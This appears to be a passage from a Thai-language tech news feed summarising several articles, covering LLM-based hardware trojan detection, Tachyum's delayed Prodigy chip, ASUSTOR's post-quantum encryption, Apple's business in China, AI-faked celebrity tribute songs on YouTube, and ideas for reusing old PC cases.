และช่องโหว่อาจถูกฝังในขั้นตอนใดก็ได้ การตรวจสอบแบบ manual ยังจำเป็นเพื่อเสริมความมั่นใจ แม้ AI จะช่วยได้มากก็ตาม ✅ นักวิจัยจากมหาวิทยาลัย Missouri พัฒนา PEARL เพื่อตรวจจับ hardware trojans ➡️ ใช้ LLMs เช่น GPT-3.5 Turbo, Gemini 1.5 Pro, Llama 3.1 และ DeepSeek-V2 ➡️ วิเคราะห์โค้ด Verilog โดยไม่ต้องใช้ golden chip ✅ PEARL ใช้เทคนิค in-context learning เช่น zero-shot และ few-shot ➡️ ให้ผลลัพธ์พร้อมคำอธิบายที่เข้าใจง่าย ✅ GPT-3.5 Turbo ตรวจจับได้แม่นยำถึง 97% ➡️ DeepSeek-V2 ทำได้ 91% ✅ ทดสอบกับ benchmark เช่น Trust-Hub และ ISCAS 85/89 ➡️ ใช้ทั้งโมเดล open-source และ enterprise ✅ PEARL ไม่ต้องใช้โมเดลอ้างอิง ทำให้ใช้งานได้กว้างขึ้น ➡️ เหมาะกับการตรวจสอบชิปในระบบที่ไม่มี golden reference ‼️ แม้ AI จะตรวจจับได้ 97% แต่ยังมีช่องว่างที่อาจนำไปสู่หายนะ ⛔ ความผิดพลาดเพียงเล็กน้อยในชิปอาจทำให้ระบบล่มหรือถูกเจาะ ‼️ ห่วงโซ่อุปทานของชิปมีความซับซ้อนและเสี่ยงต่อการฝังช่องโหว่ ⛔ การตรวจสอบต้องครอบคลุมทุกขั้นตอน ตั้งแต่การออกแบบจนถึงการประกอบ ‼️ การพึ่งพา AI เพียงอย่างเดียวอาจไม่เพียงพอในระบบที่มีความเสี่ยงสูง ⛔ ยังต้องมีการตรวจสอบแบบ manual และการทดสอบเชิงลึก ‼️ ความแม่นยำของโมเดลอาจแตกต่างกันตามบริบทและประเภทของโค้ด ⛔ ต้องเลือกโมเดลให้เหมาะกับงานและมีการปรับแต่งอย่างเหมาะสม https://www.techradar.com/pro/ai-can-detect-malicious-chip-vulnerabilities-with-a-97-success-rate-but-i-fear-that-is-simply-not-enough
    WWW.TECHRADAR.COM
    New AI model spots dangerous chip code with near-perfect accuracy
    The PEARL system uses language models to expose malicious design changes
    0 ความคิดเห็น 0 การแบ่งปัน 55 มุมมอง 0 รีวิว
  • “Tachyum Prodigy เลื่อนอีกครั้ง แต่เพิ่มเป็น 256 คอร์ต่อชิปเล็ต” — พร้อมดีล 500 ล้านดอลลาร์จากนักลงทุนยุโรป

    Tachyum ประกาศอัปเดตล่าสุดเกี่ยวกับชิป Prodigy ที่ตั้งเป้าเป็นโปรเซสเซอร์อเนกประสงค์สำหรับงาน AI และ HPC โดยเพิ่มจำนวนคอร์ต่อชิปเล็ตจากเดิม 192 เป็น 256 คอร์ เพื่อผลักดันประสิทธิภาพให้สูงขึ้นถึง 3 เท่าของซีพียู x86 ชั้นนำ และ 6 เท่าของ GPGPU สำหรับงาน HPC

    แม้จะมีความคืบหน้าเรื่องสเปก แต่ Prodigy ยังไม่เข้าสู่ขั้นตอน tape-out และยังไม่มีการล็อกสเปกสุดท้าย ทำให้การผลิตเชิงพาณิชย์น่าจะเริ่มได้ในปี 2027 ซึ่งถือว่าล่าช้ากว่ากำหนดเดิมหลายปี

    Tachyum ได้รับเงินลงทุน Series C จำนวน 220 ล้านดอลลาร์จากนักลงทุนยุโรป และยังได้รับคำสั่งซื้อ Prodigy มูลค่า 500 ล้านดอลลาร์จากนักลงทุนรายเดียวกัน โดยเงินทุนนี้จะใช้ในการเร่งขั้นตอน tape-out และการออกแบบขั้นสุดท้าย

    บริษัทคาดว่าจะได้ซิลิคอนตัวแรกในช่วงต้นปี 2026 และหากทุกอย่างเป็นไปตามแผน จะเริ่มส่งมอบเชิงพาณิชย์ได้ในกลางปี 2027 ซึ่งอาจสอดคล้องกับแผนการ IPO ของ Tachyum

    ข้อมูลในข่าว
    Tachyum เพิ่มจำนวนคอร์ใน Prodigy เป็น 256 คอร์ต่อชิปเล็ต
    เป้าหมายคือประสิทธิภาพสูงกว่า x86 และ GPGPU ชั้นนำ
    ยังไม่เข้าสู่ขั้นตอน tape-out และยังไม่ล็อกสเปกสุดท้าย
    ได้รับเงินลงทุน Series C จำนวน 220 ล้านดอลลาร์
    ได้รับคำสั่งซื้อ Prodigy มูลค่า 500 ล้านดอลลาร์จากนักลงทุนยุโรป
    คาดว่าจะได้ซิลิคอนตัวแรกในต้นปี 2026
    การส่งมอบเชิงพาณิชย์น่าจะเริ่มกลางปี 2027
    อาจสอดคล้องกับแผนการ IPO ของบริษัท
    ใช้เทคโนโลยีการผลิตระดับ 5nm-class จาก TSMC
    การพัฒนา Prodigy ใช้เวลานานกว่า 10 ปี

    คำเตือนจากข้อมูลข่าว
    Prodigy ยังไม่เข้าสู่ tape-out ทำให้ประสิทธิภาพจริงยังไม่สามารถวัดได้
    การเปลี่ยนแปลงสเปกระหว่างการพัฒนาอาจทำให้ timeline ล่าช้า
    การพึ่งพา TSMC อาจมีความเสี่ยงด้าน supply chain
    การพัฒนา 10 ปีอาจทำให้เทคโนโลยีบางส่วนล้าสมัยเมื่อเปิดตัว
    หาก validation ล่าช้า การส่งมอบอาจเลื่อนออกไปอีก
    การตั้งเป้าประสิทธิภาพสูงเกินไปอาจไม่สอดคล้องกับความเป็นจริงเมื่อผลิตจริง

    https://www.tomshardware.com/pc-components/cpus/tachyums-general-purpose-prodigy-chip-delayed-again-now-with-256-cores-per-chiplet-and-a-usd500-million-purchase-order-from-eu-investor
    🧠 “Tachyum Prodigy เลื่อนอีกครั้ง แต่เพิ่มเป็น 256 คอร์ต่อชิปเล็ต” — พร้อมดีล 500 ล้านดอลลาร์จากนักลงทุนยุโรป Tachyum ประกาศอัปเดตล่าสุดเกี่ยวกับชิป Prodigy ที่ตั้งเป้าเป็นโปรเซสเซอร์อเนกประสงค์สำหรับงาน AI และ HPC โดยเพิ่มจำนวนคอร์ต่อชิปเล็ตจากเดิม 192 เป็น 256 คอร์ เพื่อผลักดันประสิทธิภาพให้สูงขึ้นถึง 3 เท่าของซีพียู x86 ชั้นนำ และ 6 เท่าของ GPGPU สำหรับงาน HPC แม้จะมีความคืบหน้าเรื่องสเปก แต่ Prodigy ยังไม่เข้าสู่ขั้นตอน tape-out และยังไม่มีการล็อกสเปกสุดท้าย ทำให้การผลิตเชิงพาณิชย์น่าจะเริ่มได้ในปี 2027 ซึ่งถือว่าล่าช้ากว่ากำหนดเดิมหลายปี Tachyum ได้รับเงินลงทุน Series C จำนวน 220 ล้านดอลลาร์จากนักลงทุนยุโรป และยังได้รับคำสั่งซื้อ Prodigy มูลค่า 500 ล้านดอลลาร์จากนักลงทุนรายเดียวกัน โดยเงินทุนนี้จะใช้ในการเร่งขั้นตอน tape-out และการออกแบบขั้นสุดท้าย บริษัทคาดว่าจะได้ซิลิคอนตัวแรกในช่วงต้นปี 2026 และหากทุกอย่างเป็นไปตามแผน จะเริ่มส่งมอบเชิงพาณิชย์ได้ในกลางปี 2027 ซึ่งอาจสอดคล้องกับแผนการ IPO ของ Tachyum ✅ ข้อมูลในข่าว ➡️ Tachyum เพิ่มจำนวนคอร์ใน Prodigy เป็น 256 คอร์ต่อชิปเล็ต ➡️ เป้าหมายคือประสิทธิภาพสูงกว่า x86 และ GPGPU ชั้นนำ ➡️ ยังไม่เข้าสู่ขั้นตอน tape-out และยังไม่ล็อกสเปกสุดท้าย ➡️ ได้รับเงินลงทุน Series C จำนวน 220 ล้านดอลลาร์ ➡️ ได้รับคำสั่งซื้อ Prodigy มูลค่า 500 ล้านดอลลาร์จากนักลงทุนยุโรป ➡️ คาดว่าจะได้ซิลิคอนตัวแรกในต้นปี 2026 ➡️ การส่งมอบเชิงพาณิชย์น่าจะเริ่มกลางปี 2027 ➡️ อาจสอดคล้องกับแผนการ IPO ของบริษัท ➡️ ใช้เทคโนโลยีการผลิตระดับ 5nm-class จาก TSMC ➡️ การพัฒนา Prodigy ใช้เวลานานกว่า 10 ปี ‼️ คำเตือนจากข้อมูลข่าว ⛔ Prodigy ยังไม่เข้าสู่ tape-out ทำให้ประสิทธิภาพจริงยังไม่สามารถวัดได้ ⛔ การเปลี่ยนแปลงสเปกระหว่างการพัฒนาอาจทำให้ timeline ล่าช้า ⛔ การพึ่งพา TSMC อาจมีความเสี่ยงด้าน supply chain ⛔ การพัฒนา 10 ปีอาจทำให้เทคโนโลยีบางส่วนล้าสมัยเมื่อเปิดตัว ⛔ หาก validation ล่าช้า การส่งมอบอาจเลื่อนออกไปอีก ⛔ การตั้งเป้าประสิทธิภาพสูงเกินไปอาจไม่สอดคล้องกับความเป็นจริงเมื่อผลิตจริง https://www.tomshardware.com/pc-components/cpus/tachyums-general-purpose-prodigy-chip-delayed-again-now-with-256-cores-per-chiplet-and-a-usd500-million-purchase-order-from-eu-investor
    0 ความคิดเห็น 0 การแบ่งปัน 52 มุมมอง 0 รีวิว
  • “ASUSTOR NAS พร้อมรับมือยุคควอนตัม” — อัปเกรดระบบเข้ารหัสด้วยเทคโนโลยี Post-Quantum Cryptography

    ASUSTOR ประกาศว่า NAS OS รุ่นล่าสุด ADM 5.1 ได้รับการอัปเกรดให้รองรับเทคโนโลยี Post-Quantum Cryptography (PQC) อย่างเต็มรูปแบบ โดยใช้มาตรฐานที่ได้รับการรับรองจาก NIST สหรัฐฯ เพื่อเตรียมพร้อมรับมือกับภัยคุกคามจากการถอดรหัสด้วยคอมพิวเตอร์ควอนตัมในอนาคต

    ระบบใหม่ใช้ Hybrid TLS ที่ผสานการเข้ารหัสแบบ X25519 กับ ML-KEM 768 (Kyber) เพื่อป้องกันข้อมูลทั้งในปัจจุบันและอนาคต โดยผู้ใช้ไม่ต้องตั้งค่าใด ๆ เพิ่มเติม หากใช้เบราว์เซอร์ที่รองรับ TLS 1.3 และ PQC ระบบจะเชื่อมต่อแบบเข้ารหัสควอนตัมโดยอัตโนมัติ

    การอัปเกรดนี้มีเป้าหมายเพื่อป้องกันการโจมตีแบบ “Harvest Now, Decrypt Later” ซึ่งเป็นการดักจับข้อมูลเข้ารหัสไว้ก่อน แล้วรอให้เทคโนโลยีถอดรหัสพัฒนาจนสามารถเจาะข้อมูลได้ในอนาคต เช่น ข้อมูลสำรองระยะยาว, เอกสารลับ, ทรัพย์สินทางปัญญา, ข้อมูลการแพทย์และการเงิน

    ADM 5.1 จะแสดงสถานะการเข้ารหัสให้ผู้ใช้เห็นอย่างชัดเจน และจะเปิดใช้งาน PQC โดยอัตโนมัติเมื่อเบราว์เซอร์รองรับ โดยเบราว์เซอร์ที่รองรับ ได้แก่ Chrome 131, Edge 131, Firefox 135, Opera 116 และ Brave 1.73

    ข้อมูลในข่าว
    ASUSTOR อัปเกรด NAS OS ADM 5.1 ให้รองรับ Post-Quantum Cryptography (PQC)
    ใช้มาตรฐานจาก NIST สหรัฐฯ เช่น ML-KEM 768 (Kyber)
    ใช้ Hybrid TLS ที่ผสาน X25519 กับ Kyber เพื่อความปลอดภัยสองชั้น
    ป้องกันการโจมตีแบบ “Harvest Now, Decrypt Later”
    ผู้ใช้ไม่ต้องตั้งค่าเพิ่มเติม หากเบราว์เซอร์รองรับ TLS 1.3 และ PQC
    ระบบจะเชื่อมต่อแบบเข้ารหัสควอนตัมโดยอัตโนมัติ
    ADM จะแสดงสถานะการเข้ารหัสให้ผู้ใช้เห็น
    เบราว์เซอร์ที่รองรับ ได้แก่ Chrome 131, Edge 131, Firefox 135, Opera 116 และ Brave 1.73
    เหมาะกับการปกป้องข้อมูลระยะยาว เช่น เอกสารลับและข้อมูลสำรอง

    https://www.techpowerup.com/341960/asustor-nas-devices-now-pqc-ready
    🔐 “ASUSTOR NAS พร้อมรับมือยุคควอนตัม” — อัปเกรดระบบเข้ารหัสด้วยเทคโนโลยี Post-Quantum Cryptography ASUSTOR ประกาศว่า NAS OS รุ่นล่าสุด ADM 5.1 ได้รับการอัปเกรดให้รองรับเทคโนโลยี Post-Quantum Cryptography (PQC) อย่างเต็มรูปแบบ โดยใช้มาตรฐานที่ได้รับการรับรองจาก NIST สหรัฐฯ เพื่อเตรียมพร้อมรับมือกับภัยคุกคามจากการถอดรหัสด้วยคอมพิวเตอร์ควอนตัมในอนาคต ระบบใหม่ใช้ Hybrid TLS ที่ผสานการเข้ารหัสแบบ X25519 กับ ML-KEM 768 (Kyber) เพื่อป้องกันข้อมูลทั้งในปัจจุบันและอนาคต โดยผู้ใช้ไม่ต้องตั้งค่าใด ๆ เพิ่มเติม หากใช้เบราว์เซอร์ที่รองรับ TLS 1.3 และ PQC ระบบจะเชื่อมต่อแบบเข้ารหัสควอนตัมโดยอัตโนมัติ การอัปเกรดนี้มีเป้าหมายเพื่อป้องกันการโจมตีแบบ “Harvest Now, Decrypt Later” ซึ่งเป็นการดักจับข้อมูลเข้ารหัสไว้ก่อน แล้วรอให้เทคโนโลยีถอดรหัสพัฒนาจนสามารถเจาะข้อมูลได้ในอนาคต เช่น ข้อมูลสำรองระยะยาว, เอกสารลับ, ทรัพย์สินทางปัญญา, ข้อมูลการแพทย์และการเงิน ADM 5.1 จะแสดงสถานะการเข้ารหัสให้ผู้ใช้เห็นอย่างชัดเจน และจะเปิดใช้งาน PQC โดยอัตโนมัติเมื่อเบราว์เซอร์รองรับ โดยเบราว์เซอร์ที่รองรับ ได้แก่ Chrome 131, Edge 131, Firefox 135, Opera 116 และ Brave 1.73 ✅ ข้อมูลในข่าว ➡️ ASUSTOR อัปเกรด NAS OS ADM 5.1 ให้รองรับ Post-Quantum Cryptography (PQC) ➡️ ใช้มาตรฐานจาก NIST สหรัฐฯ เช่น ML-KEM 768 (Kyber) ➡️ ใช้ Hybrid TLS ที่ผสาน X25519 กับ Kyber เพื่อความปลอดภัยสองชั้น ➡️ ป้องกันการโจมตีแบบ “Harvest Now, Decrypt Later” ➡️ ผู้ใช้ไม่ต้องตั้งค่าเพิ่มเติม หากเบราว์เซอร์รองรับ TLS 1.3 และ PQC ➡️ ระบบจะเชื่อมต่อแบบเข้ารหัสควอนตัมโดยอัตโนมัติ ➡️ ADM จะแสดงสถานะการเข้ารหัสให้ผู้ใช้เห็น ➡️ เบราว์เซอร์ที่รองรับ ได้แก่ Chrome 131, Edge 131, Firefox 135, Opera 116 และ Brave 1.73 ➡️ เหมาะกับการปกป้องข้อมูลระยะยาว เช่น เอกสารลับและข้อมูลสำรอง https://www.techpowerup.com/341960/asustor-nas-devices-now-pqc-ready
    WWW.TECHPOWERUP.COM
    ASUSTOR NAS Devices Now PQC Ready
    Facing the arrival of the quantum computing era and the potential risks to traditional encryption algorithms, ASUSTOR Inc. has announced that its NAS operating system, ADM 5.1, will fully adopt post-quantum cryptography (PQC) technology approved by the US National Institute of Standards and Technolo...
    0 ความคิดเห็น 0 การแบ่งปัน 48 มุมมอง 0 รีวิว
  • “จีนหนุน Apple เต็มที่” — Tim Cook ได้รับไฟเขียวจากรัฐบาลจีนให้เดินหน้าลงทุนและดำเนินธุรกิจต่อในประเทศ

    ในช่วงที่ความสัมพันธ์ระหว่างสหรัฐฯ และจีนตึงเครียด Apple ต้องเดินเกมอย่างระมัดระวังเพื่อรักษาสมดุลระหว่างการสนับสนุนการผลิตในอเมริกาและการพึ่งพาห่วงโซ่อุปทานในจีน ล่าสุด Tim Cook ซีอีโอของ Apple ได้รับการสนับสนุนอย่างเป็นทางการจากรัฐบาลจีนในการดำเนินธุรกิจต่อในประเทศ

    Cook เดินทางไปจีนเพื่อเจรจาเรื่องการเปิดตัว iPhone 17 Air ที่ใช้ eSIM เท่านั้น ซึ่งก่อนหน้านี้ติดปัญหาด้านกฎระเบียบ แต่หลังจากพบกับรัฐมนตรีอุตสาหกรรม Li Lecheng เขาได้รับการยืนยันว่า Apple จะได้รับการสนับสนุนจากรัฐบาลจีนอย่างเต็มที่

    นอกจากนี้ Apple ยังประกาศเพิ่มการลงทุนในจีน และ COO Sabih Khan ได้เยี่ยมชมโรงงานของ Lens Precision ซึ่งเป็นซัพพลายเออร์สำคัญของกล้อง iPhone 18 ที่กำลังสร้างแรงกระเพื่อมในห่วงโซ่อุปทานทั่วเอเชีย

    แม้ Apple จะพยายามลดการพึ่งพาจีนโดยย้ายการผลิตบางส่วนไปอินเดีย แต่ยังคงต้องส่ง iPhone จากจีนไปสหรัฐฯ กว่า 9 ล้านเครื่องในปี 2026 เพราะอินเดียยังไม่สามารถผลิตได้ทันความต้องการ

    ในฝั่งสหรัฐฯ Apple ถูกบังคับให้เพิ่มการลงทุนจาก 500 เป็น 600 พันล้านดอลลาร์ เพื่อสร้างห่วงโซ่ซิลิคอนในประเทศ หลังจากประธานาธิบดีทรัมป์ขึ้นภาษีอินเดียด้วย ทำให้ Apple ต้องวางแผนผลิตอุปกรณ์ใหม่ เช่น HomePod และกล้องรักษาความปลอดภัยในเวียดนาม เพื่อกระจายความเสี่ยง

    ข้อมูลในข่าว
    Tim Cook ได้รับการสนับสนุนจากรัฐบาลจีนในการดำเนินธุรกิจต่อ
    พบกับรัฐมนตรีอุตสาหกรรม Li Lecheng เพื่อเจรจาเรื่อง iPhone 17 Air
    Apple เพิ่มการลงทุนในจีน และเยี่ยมชมโรงงาน Lens Precision
    iPhone 18 มีระบบกล้องใหม่ที่ส่งผลต่อห่วงโซ่อุปทานทั่วเอเชีย
    Apple ยังต้องส่ง iPhone จากจีนไปสหรัฐฯ กว่า 9 ล้านเครื่องในปี 2026
    อินเดียยังไม่สามารถผลิตได้ทันความต้องการ
    Apple เพิ่มการลงทุนในสหรัฐฯ เป็น 600 พันล้านดอลลาร์
    ทรัมป์ขึ้นภาษีอินเดีย ทำให้ Apple ต้องปรับแผน
    Apple วางแผนผลิตอุปกรณ์ใหม่ในเวียดนาม เช่น HomePod และกล้อง AI
    ใช้โรงงานของ BYD ในเวียดนามเพื่อผลิตอุปกรณ์ใหม่
    Apple พยายามกระจายความเสี่ยงจากความตึงเครียดทางภูมิรัฐศาสตร์

    https://wccftech.com/chinas-government-just-gave-apple-its-strong-support-for-continuing-operations-in-the-country/
    🍎 “จีนหนุน Apple เต็มที่” — Tim Cook ได้รับไฟเขียวจากรัฐบาลจีนให้เดินหน้าลงทุนและดำเนินธุรกิจต่อในประเทศ ในช่วงที่ความสัมพันธ์ระหว่างสหรัฐฯ และจีนตึงเครียด Apple ต้องเดินเกมอย่างระมัดระวังเพื่อรักษาสมดุลระหว่างการสนับสนุนการผลิตในอเมริกาและการพึ่งพาห่วงโซ่อุปทานในจีน ล่าสุด Tim Cook ซีอีโอของ Apple ได้รับการสนับสนุนอย่างเป็นทางการจากรัฐบาลจีนในการดำเนินธุรกิจต่อในประเทศ Cook เดินทางไปจีนเพื่อเจรจาเรื่องการเปิดตัว iPhone 17 Air ที่ใช้ eSIM เท่านั้น ซึ่งก่อนหน้านี้ติดปัญหาด้านกฎระเบียบ แต่หลังจากพบกับรัฐมนตรีอุตสาหกรรม Li Lecheng เขาได้รับการยืนยันว่า Apple จะได้รับการสนับสนุนจากรัฐบาลจีนอย่างเต็มที่ นอกจากนี้ Apple ยังประกาศเพิ่มการลงทุนในจีน และ COO Sabih Khan ได้เยี่ยมชมโรงงานของ Lens Precision ซึ่งเป็นซัพพลายเออร์สำคัญของกล้อง iPhone 18 ที่กำลังสร้างแรงกระเพื่อมในห่วงโซ่อุปทานทั่วเอเชีย แม้ Apple จะพยายามลดการพึ่งพาจีนโดยย้ายการผลิตบางส่วนไปอินเดีย แต่ยังคงต้องส่ง iPhone จากจีนไปสหรัฐฯ กว่า 9 ล้านเครื่องในปี 2026 เพราะอินเดียยังไม่สามารถผลิตได้ทันความต้องการ ในฝั่งสหรัฐฯ Apple ถูกบังคับให้เพิ่มการลงทุนจาก 500 เป็น 600 พันล้านดอลลาร์ เพื่อสร้างห่วงโซ่ซิลิคอนในประเทศ หลังจากประธานาธิบดีทรัมป์ขึ้นภาษีอินเดียด้วย ทำให้ Apple ต้องวางแผนผลิตอุปกรณ์ใหม่ เช่น HomePod และกล้องรักษาความปลอดภัยในเวียดนาม เพื่อกระจายความเสี่ยง ✅ ข้อมูลในข่าว ➡️ Tim Cook ได้รับการสนับสนุนจากรัฐบาลจีนในการดำเนินธุรกิจต่อ ➡️ พบกับรัฐมนตรีอุตสาหกรรม Li Lecheng เพื่อเจรจาเรื่อง iPhone 17 Air ➡️ Apple เพิ่มการลงทุนในจีน และเยี่ยมชมโรงงาน Lens Precision ➡️ iPhone 18 มีระบบกล้องใหม่ที่ส่งผลต่อห่วงโซ่อุปทานทั่วเอเชีย ➡️ Apple ยังต้องส่ง iPhone จากจีนไปสหรัฐฯ กว่า 9 ล้านเครื่องในปี 2026 ➡️ อินเดียยังไม่สามารถผลิตได้ทันความต้องการ ➡️ Apple เพิ่มการลงทุนในสหรัฐฯ เป็น 600 พันล้านดอลลาร์ ➡️ ทรัมป์ขึ้นภาษีอินเดีย ทำให้ Apple ต้องปรับแผน ➡️ Apple วางแผนผลิตอุปกรณ์ใหม่ในเวียดนาม เช่น HomePod และกล้อง AI ➡️ ใช้โรงงานของ BYD ในเวียดนามเพื่อผลิตอุปกรณ์ใหม่ ➡️ Apple พยายามกระจายความเสี่ยงจากความตึงเครียดทางภูมิรัฐศาสตร์ https://wccftech.com/chinas-government-just-gave-apple-its-strong-support-for-continuing-operations-in-the-country/
    WCCFTECH.COM
    China's Government Just Gave Apple Its Strong Support For Continuing Operations In The Country
    According to Global Times' interpretation, China just gave a strong nod to Apple's domestic operations in the country.
    0 ความคิดเห็น 0 การแบ่งปัน 66 มุมมอง 0 รีวิว
  • “AI ปลอมเสียงศิลปินดังในคลิปไว้อาลัย Charlie Kirk” — เมื่อ YouTube กลายเป็นเวทีของบทเพลงที่ไม่มีใครร้องจริง

    ผู้ใช้ YouTube หลายคนตกใจเมื่อพบคลิปไว้อาลัย Charlie Kirk นักเคลื่อนไหวฝ่ายขวาที่ถูกลอบสังหาร โดยมีเสียงร้องจากศิลปินดังอย่าง Adele, Ed Sheeran และ Justin Bieber — แต่ทั้งหมดเป็นเสียงที่สร้างจาก AI โดยไม่มีการร้องจริงหรือรับรู้จากเจ้าตัว

    คลิปเหล่านี้ใช้ภาพประกอบที่ดูสมจริง เช่น thumbnails ที่ศิลปินร้องไห้ พร้อมเนื้อเพลงที่แต่งขึ้นจาก prompt เช่น “The angels sing your name” หรือ “Your story’s written in the stars” ซึ่งสร้างความซาบซึ้งให้ผู้ชมจำนวนมาก แม้เสียงจะไม่เหมือนต้นฉบับก็ตาม

    AI music generators อย่าง Suno สามารถสร้างเพลงจากข้อความง่าย ๆ เช่น “ทำเพลงแจ๊สเกี่ยวกับรดน้ำต้นไม้” หรือ “เพลงแนว house เกี่ยวกับลาออกจากงาน” และเมื่อสื่อ AFP ทดสอบด้วย prompt ไว้อาลัยนักเคลื่อนไหว ก็ได้เพลงชื่อ “Star Gone Too Soon” และ “Echoes of a Flame” ภายในไม่กี่วินาที

    แม้ YouTube จะมีนโยบายให้ผู้สร้างเนื้อหาต้องเปิดเผยว่าใช้ AI แต่หลายคลิปกลับซ่อนข้อมูลไว้ในคำอธิบายที่ต้องคลิกขยายถึงจะเห็น

    นักวิจารณ์เช่น Alex Mahadevan จาก Poynter เตือนว่า “อินเทอร์เน็ตที่เคยเต็มไปด้วยคนสร้างสรรค์กำลังถูกแทนที่ด้วย AI slop ที่สร้างเพื่อเงิน” และ Lucas Hansen จาก CivAI เสริมว่า “การลอกเลียนเสียงและภาพควรได้รับการคุ้มครอง แม้จะเป็นคนที่เสียชีวิตแล้วก็ตาม”

    ข้อมูลในข่าว
    คลิปไว้อาลัย Charlie Kirk ใช้เสียง AI ปลอมเป็นศิลปินดัง
    มี thumbnails ปลอม เช่นภาพศิลปินร้องไห้
    เนื้อเพลงสร้างจาก prompt เช่น “Your story’s written in the stars”
    AI music generators อย่าง Suno สร้างเพลงจากข้อความได้ภายในวินาที
    YouTube มีนโยบายให้เปิดเผยการใช้ AI แต่หลายคลิปซ่อนข้อมูลไว้
    คลิปเหล่านี้มีผู้ชมหลายล้านและคอมเมนต์ขอบคุณศิลปินที่ไม่ได้ร้องจริง
    Alex Mahadevan เตือนว่าอินเทอร์เน็ตกำลังถูกแทนที่ด้วย “AI slop”
    Lucas Hansen เสนอให้คุ้มครองเสียงและภาพของบุคคล แม้จะเสียชีวิตแล้ว
    The Velvet Sundown วง AI บน Spotify มีผู้ฟังเกิน 200,000 คน
    Suno เสนอ prompt เช่น “เพลงแจ๊สเกี่ยวกับรดน้ำต้นไม้”

    https://www.thestar.com.my/tech/tech-news/2025/10/17/youtube-users-trip-over-fake-ai-tributes-to-charlie-kirk
    🎤 “AI ปลอมเสียงศิลปินดังในคลิปไว้อาลัย Charlie Kirk” — เมื่อ YouTube กลายเป็นเวทีของบทเพลงที่ไม่มีใครร้องจริง ผู้ใช้ YouTube หลายคนตกใจเมื่อพบคลิปไว้อาลัย Charlie Kirk นักเคลื่อนไหวฝ่ายขวาที่ถูกลอบสังหาร โดยมีเสียงร้องจากศิลปินดังอย่าง Adele, Ed Sheeran และ Justin Bieber — แต่ทั้งหมดเป็นเสียงที่สร้างจาก AI โดยไม่มีการร้องจริงหรือรับรู้จากเจ้าตัว คลิปเหล่านี้ใช้ภาพประกอบที่ดูสมจริง เช่น thumbnails ที่ศิลปินร้องไห้ พร้อมเนื้อเพลงที่แต่งขึ้นจาก prompt เช่น “The angels sing your name” หรือ “Your story’s written in the stars” ซึ่งสร้างความซาบซึ้งให้ผู้ชมจำนวนมาก แม้เสียงจะไม่เหมือนต้นฉบับก็ตาม AI music generators อย่าง Suno สามารถสร้างเพลงจากข้อความง่าย ๆ เช่น “ทำเพลงแจ๊สเกี่ยวกับรดน้ำต้นไม้” หรือ “เพลงแนว house เกี่ยวกับลาออกจากงาน” และเมื่อสื่อ AFP ทดสอบด้วย prompt ไว้อาลัยนักเคลื่อนไหว ก็ได้เพลงชื่อ “Star Gone Too Soon” และ “Echoes of a Flame” ภายในไม่กี่วินาที แม้ YouTube จะมีนโยบายให้ผู้สร้างเนื้อหาต้องเปิดเผยว่าใช้ AI แต่หลายคลิปกลับซ่อนข้อมูลไว้ในคำอธิบายที่ต้องคลิกขยายถึงจะเห็น นักวิจารณ์เช่น Alex Mahadevan จาก Poynter เตือนว่า “อินเทอร์เน็ตที่เคยเต็มไปด้วยคนสร้างสรรค์กำลังถูกแทนที่ด้วย AI slop ที่สร้างเพื่อเงิน” และ Lucas Hansen จาก CivAI เสริมว่า “การลอกเลียนเสียงและภาพควรได้รับการคุ้มครอง แม้จะเป็นคนที่เสียชีวิตแล้วก็ตาม” ✅ ข้อมูลในข่าว ➡️ คลิปไว้อาลัย Charlie Kirk ใช้เสียง AI ปลอมเป็นศิลปินดัง ➡️ มี thumbnails ปลอม เช่นภาพศิลปินร้องไห้ ➡️ เนื้อเพลงสร้างจาก prompt เช่น “Your story’s written in the stars” ➡️ AI music generators อย่าง Suno สร้างเพลงจากข้อความได้ภายในวินาที ➡️ YouTube มีนโยบายให้เปิดเผยการใช้ AI แต่หลายคลิปซ่อนข้อมูลไว้ ➡️ คลิปเหล่านี้มีผู้ชมหลายล้านและคอมเมนต์ขอบคุณศิลปินที่ไม่ได้ร้องจริง ➡️ Alex Mahadevan เตือนว่าอินเทอร์เน็ตกำลังถูกแทนที่ด้วย “AI slop” ➡️ Lucas Hansen เสนอให้คุ้มครองเสียงและภาพของบุคคล แม้จะเสียชีวิตแล้ว ➡️ The Velvet Sundown วง AI บน Spotify มีผู้ฟังเกิน 200,000 คน ➡️ Suno เสนอ prompt เช่น “เพลงแจ๊สเกี่ยวกับรดน้ำต้นไม้” https://www.thestar.com.my/tech/tech-news/2025/10/17/youtube-users-trip-over-fake-ai-tributes-to-charlie-kirk
    WWW.THESTAR.COM.MY
    YouTube users trip over fake AI tributes to Charlie Kirk
    Rapidly evolving artificial intelligence tools can now create songs from simple text prompts, mimicking the voices of celebrity artists to produce tributes or entire performances on demand, often without their knowledge or consent.
    0 ความคิดเห็น 0 การแบ่งปัน 59 มุมมอง 0 รีวิว
  • “5 วิธีแปลงเคสคอมเก่าให้กลายเป็นของใช้สุดเจ๋ง” — จากสวนพกพาไปจนถึงเตาย่างบาร์บีคิว

    หากคุณมีเคสคอมพิวเตอร์เก่าที่ไม่ได้ใช้งานแล้ว อย่าเพิ่งรีบเอาไปทิ้ง! บทความจาก SlashGear แนะนำ 5 วิธีสุดสร้างสรรค์ในการนำเคสเก่ากลับมาใช้ใหม่ ไม่ว่าจะเป็นของตกแต่งบ้านหรืออุปกรณ์ใช้งานจริง โดยอาศัยความแข็งแรงของโครงสร้างเหล็กและพื้นที่ภายในที่ดัดแปลงได้หลากหลาย

    ไอเดียแปลงเคสคอมเก่า
    1. สวนพกพา (Portable Garden)
       - ติดตั้งหลอดไฟปลูกต้นไม้และพัดลมระบายอากาศ
      - ใช้ Mylar สะท้อนแสงภายใน และวางกระถางต้นไม้ขนาดเล็ก
      - เหมาะกับคนอยู่คอนโดหรือไม่มีพื้นที่ปลูกต้นไม้

    2. ตู้จดหมายแนวไอที (Novelty Mailbox)
      - ถอดชิ้นส่วนภายใน ติดตั้งฐานรอง และเจาะช่องรับจดหมาย
      - ถ้าเคสมีช่อง CD-ROM เดิม ก็ใช้เป็นช่องรับจดหมายได้เลย
      - สร้างความโดดเด่นให้หน้าบ้านแบบ geek ๆ

    3. ชั้นวางของติดผนัง (Stackable Shelving)
      - ถอดแผงด้านข้างและยึดเคสเข้ากับผนัง
      - วางซ้อนกันหลายเคสเพื่อสร้างชั้นวางแบบโมดูลาร์
      - ใช้เก็บหนังสือ ของตกแต่ง หรืออุปกรณ์อิเล็กทรอนิกส์

    4. กล่องเก็บเครื่องมือ (Tool Storage)
